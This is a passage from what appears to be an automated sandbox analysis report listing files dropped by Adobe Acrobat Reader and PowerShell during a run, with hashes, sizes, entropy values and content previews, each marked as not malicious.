Preview:	{"analyticsData":{"responseGUID":"279d68cc-b2a8-4fdf-b7b8-f28835601bb3","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736741403411,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.321115510055287
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSwTdlDWtUib5Glvp0YhANJqoAvJf+dPeUkwRe9:YvXKXFNDSUitomNG28Ukee9
MD5:	B8E17C586ADE9A563C900B66D2A1D99F
SHA1:	00945B98E8F4D0317E5D12151CD38B505C572D61
SHA-256:	ABBD4EA7B09BE806576740C3711B4BE6B4FC260280517EC5DCC181E12F0625E5
SHA-512:	78D50218B7E0454A7808F241E7443B163549EC487D236E15641E27A6ED28706181059457F5901F68F169B146AAE56D5F00165390785A75861431CE9CACFAA588
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"279d68cc-b2a8-4fdf-b7b8-f28835601bb3","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736741403411,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.318078802860767
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSwTdlDWtUib5Glvp0YhANJqoAvJfbPtdPeUkwRe9:YvXKXFNDSUitomNGDV8Ukee9
MD5:	3F0201632DB8970767C459E15F5B6E75
SHA1:	EB94D429D524B19BC6FD7F43BB698F11A1A0B865
SHA-256:	2B73F7F5D0E75879A1783842FF206357DA74DCC93806DE2DF0835F4DEB0E0F91
SHA-512:	4BF6DB9789DAB3934C6C932635096B14A4373EA5BE4AAAEC300E24D9FB48354F6F6A9A898D7B4646D601570FCA519D840AACA3695E629EB2DA71717497A49037
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"279d68cc-b2a8-4fdf-b7b8-f28835601bb3","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736741403411,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.319918919654103
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSwTdlDWtUib5Glvp0YhANJqoAvJf21rPeUkwRe9:YvXKXFNDSUitomNG+16Ukee9
MD5:	269AC4EBF170D62E27A81D465AF64674
SHA1:	2F406EB257CA3C3E8EB0E1D17CCA2633DEA07F4E
SHA-256:	7E9AF3A176E8D1DC72D2AA4A8FCFD869E7392E549FB9DD0222ED98DCAC9BEF9C
SHA-512:	9D2DECEA0608751F9747AEDB49B1A7FC18169E7A6DB890E49BAA0A16B5817034AF4B292B9F0CC148E484F377366D32D7A323114A9D1497E783EF5B4A5B2D21C5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"279d68cc-b2a8-4fdf-b7b8-f28835601bb3","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736741403411,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.670752085684393
Encrypted:	false
SSDEEP:	24:Yv6XDDi6RamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSu:Yvt6dBgkDMUJUAh8cvMu
MD5:	0948823A583C614A0701869CC05730F2
SHA1:	B1F584C736F33DB9D17393512CCC98E1D4AF9411
SHA-256:	395E553AB0F08EA7C81EC603AE61950308081E4A1F9F613A944BABD3DB6AAFD3
SHA-512:	6A4614B45212AE6ECDFE1BC0CACD289914D733A4A81671885665EABF04A7C99B64433DA6B921A3054F37AD1CE024009AB35C9435DA8FC264AA7354E0C563E9C5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"279d68cc-b2a8-4fdf-b7b8-f28835601bb3","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736741403411,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2966488492797135
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSwTdlDWtUib5Glvp0YhANJqoAvJfshHHrPeUkwRe9:YvXKXFNDSUitomNGUUUkee9
MD5:	6EB42B1D33A524D9455B2568B0333B1E
SHA1:	C0D793D66CED5CADCC743A8F69A6DE7F77B295EA
SHA-256:	4FD07C1BF9327433014AD68D171D177DD94BBA05DF53387C4C4AA86EFF1A6AFC
SHA-512:	6F90F2D3A827C5FC20F92077A932C5B9B840DCA2CC7F8748DC9EE7DEC771C6536198C4A6996F028C1E524C0E4277BF096436FC43677ABAEDB40B08AC141E7BCD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"279d68cc-b2a8-4fdf-b7b8-f28835601bb3","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736741403411,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2986344863720705
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFSwTdlDWtUib5Glvp0YhANJqoAvJTqgFCrPeUkwRe9:YvXKXFNDSUitomNGTq16Ukee9
MD5:	2444D5C5B9A23AD0B81C4DCB6623616E
SHA1:	6F5ECC33A3B498AA57B85A099D14F575C682378B
SHA-256:	1D8F6E9F8F045C8C9A439DFA1A6F168113E66EF1D7CDC3883CD6DE2F4AF96F4D
SHA-512:	9F334E393705A31BAAE21A7F60C77B9AF8ABD21E35494E8E573CF60ED2283DFF5C22707D9A0B443178C3372AB0A21B1F4A4E213AA61C3CD0D44472BA278723BC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"279d68cc-b2a8-4fdf-b7b8-f28835601bb3","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736741403411,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1427759163506765
Encrypted:	false
SSDEEP:	24:YE42na2T3ayGnVkpE+A1yp18hL1Whd4fjX4qujBj0S0/5uh9Up2cei2LS0OCWKZQ:YmTHS1I1ew4zOF0Yh9WpeirAsvMC8Y
MD5:	5DDF47C8E42B6213D792AB9AF8FCF1CE
SHA1:	5488CEA1913CF2FD9B90F0CBF2AFF19A0A2D33C8
SHA-256:	195A4DF2BA875D4DFB009D9C887E2AF29855E25017EB040F7D2AFD2ECFE650C0
SHA-512:	2BBAACCA926BE03722FBF64F1370FF2D623B478F63151F4E9915F4B27B5B0D22E575DFBEA383BADDAC89271208A679832969BE2AF4D2766C93E8A16F57DD9280
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"406baed1c8af941a116a321bd66f3ac1","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736566548000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"07842d2f30e9f66751fab75c7c44399e","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736566547000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"392f6cea059738e233b1701a52f8b2bd","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736566547000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"1aabd5bf4d2014313915d615cd69114d","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736566547000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"ca61b7a3f7d5b76f68aa755dfd317172","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736566547000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"5191f454f9986098fea828e002ba21e4","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 28, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 28
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4593891785604705
Encrypted:	false
SSDEEP:	48:TFl2GL7msrhoGgpP5ZgrI2MLviuFuI7PB:/VmsrhoGgt5ZgCp7p
MD5:	BD71CADAD96B945401373C1318FA8B8D
SHA1:	134E2B64F4D82A54ABB10B6D9655E413103D9858
SHA-256:	C577E838DECC2F2CCA7ECE2A3A8667521931A010294FE88F46BFE6B2A35688DE
SHA-512:	5CC3E447EA04946495E901F76AA68B51E5C6184A2030F0C68A8FDA50715AB65A678E987A2D1763FD396C6092FACE4A9172A01EFDAD6204A8306BEED9341B299F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9650230007291933
Encrypted:	false
SSDEEP:	48:7MZhoGgpP5ZgrI2DLviuFuI7PehDqVl2GL7msi:7UhoGgt5ZgXp72hDaVmsi
MD5:	059C75BCC046D748BD196C95B70F7045
SHA1:	045185744393C48324DF57752CDA3D791540E1E4
SHA-256:	1330CB12F76F26A870F601A6FBBBE777EBE11135D738E81728DA405AEB2C404C
SHA-512:	4C4093EBE72008D77C7E3EA37F8564A832CEE339D8FF4C12269DA5321FC16469D440739D1E9797551605F9D6F4BBA0B5F905F23E81868A2017C54F88C957C165
Malicious:	false
Preview:	.... .c......q.[..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgYYyB8DyVxs5/+pIcuTXY0C2JnYyu:6a6TZ44ADE1W8uPg/y0PJnK
MD5:	28A906481AB3E455165AA4FC6A349D1E
SHA1:	FFA23C06AD3E2A8EF5B85D3864FF2B84F092C65C
SHA-256:	8AA2F3457E72436C46B83745E24F4CF55F5DD4E005C04EEA9B942F38C02429E5
SHA-512:	C6F66F08C496A7DA0F8CC2A337A23477C1A6118264B314ECDC668B351C7A16ADD38E4D6CDC66CBEFCA6E8324B7BF137DEBFCA416370E54FEA710809A66107CD5
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIa812.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.524398495091119
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClUlQ76e:Qw946cPbiOxDlbYnuRK+bLK3
MD5:	69C77193F7506669EC3707F263F30A21
SHA1:	1ECE2E486B2A48E702253E387B212E99C59B058A
SHA-256:	36265C299E80AB83C2B23B321FAEC7D30CCCE044FBBFFD7CD67DBFFBED2822C8
SHA-512:	3EDC6B678AB6A42391911493B604C88B4EC8F649C6ED3E6D5E77E801F4AFB098844821A4EF8D7C9B011F75ED0B0E2757EA18B25E16C621DF1146487B25512C5D
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.2.:.3.5.:.4.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_av2wqdmb.j01.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iowapfu2.edw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 22-35-40-943.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.346011504419146
Encrypted:	false
SSDEEP:	384:BqIxwGbWz/d64bJEaE3eErgEVCjzI8K7Wq2YUYNzgzxzOupDPdz4I9j8jI/BvfDJ:5bEd3NShrMdom
MD5:	789D1F2F853618A17B73FBEF9532AB2F
SHA1:	5322D042DC96B7E30E3914F7C21729559D534D3E
SHA-256:	482DB450F9F106D18D3E1EAE7A160CC9E75201F9336327CDBCA465997BF56FB2
SHA-512:	20E8E45817B30FE1B03ABE69E71C534EF8DA2015CE237E3F93FDF932D6CDE1FD126465530B61E56A32E9D65A3A6858A1B3B00806571A232876EACAD293871629
Malicious:	false
Preview:	SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:322+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.361086558633077
Encrypted:	false
SSDEEP:	384:eX7ijvWCeK1dc4e3B0lBfJeDLYXSFZ1+HDwDJfl5vclmT/tnfdX+I9ninuDxTXMt:NFHiLi
MD5:	0014C5E3471E3AD67D3B4166CB286342
SHA1:	83FDF5E6984B7B3CBA258934C8A8F0071601A42F
SHA-256:	8C7AAFF5C5E14576359F37F72C5E7527D213FED7DB0F6397C2C6B4A93E5C5EBC
SHA-512:	1753BE5D7A8613A18F6CC411B599EF9D633CE4525895FAB984D14A263D12729BFE5C8DD823C5E99D927E97927074A4E5034F343F919BD80B8293093B1C0F7F29
Malicious:	false
Preview:	SessionID=b66ad659-bd9c-4c02-8c8b-197b1cb96450.1736566540962 Timestamp=2025-01-10T22:35:40:962-0500 ThreadID=8180 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=b66ad659-bd9c-4c02-8c8b-197b1cb96450.1736566540962 Timestamp=2025-01-10T22:35:40:963-0500 ThreadID=8180 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=b66ad659-bd9c-4c02-8c8b-197b1cb96450.1736566540962 Timestamp=2025-01-10T22:35:40:963-0500 ThreadID=8180 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=b66ad659-bd9c-4c02-8c8b-197b1cb96450.1736566540962 Timestamp=2025-01-10T22:35:40:963-0500 ThreadID=8180 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=b66ad659-bd9c-4c02-8c8b-197b1cb96450.1736566540962 Timestamp=2025-01-10T22:35:40:963-0500 ThreadID=8180 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.39026538695013
Encrypted:	false
SSDEEP:	192:Ncb/mILxcb2cbeLIFrcbCkcbAIp/cbVcbIIJDcbZcbCIY+cbsccbIIzvSA+0fChL:2PLH8FVfpBJnYo/zvSA+0fChvNe/Prk
MD5:	390AFEDDBE8F5C2080C63C057E40D9BF
SHA1:	36A36CFD2C30F6CAD99D8437A944F51DB0198049
SHA-256:	5ED7A99785D4F78B25E10D00D841D15C474C327887FEF18AD9B3583739D7A887
SHA-512:	FCDEB891EAF2527D987C9227FA3F215E6F2A1FB9C4D78B2E36A2D4C544D70571063823D1D0AD0DCA21F98F51EF973270E73173FBD4DFD646C08DB3DF2C32BEDC
Malicious:	false
Preview:	05-10-2023 12:57:02:.---2---..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 12:57:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\c5cb6255-1cdb-4d07-ad04-e7e5e98e6fbc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\e63c0778-a40f-4d0d-a1ef-f9676613d027.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
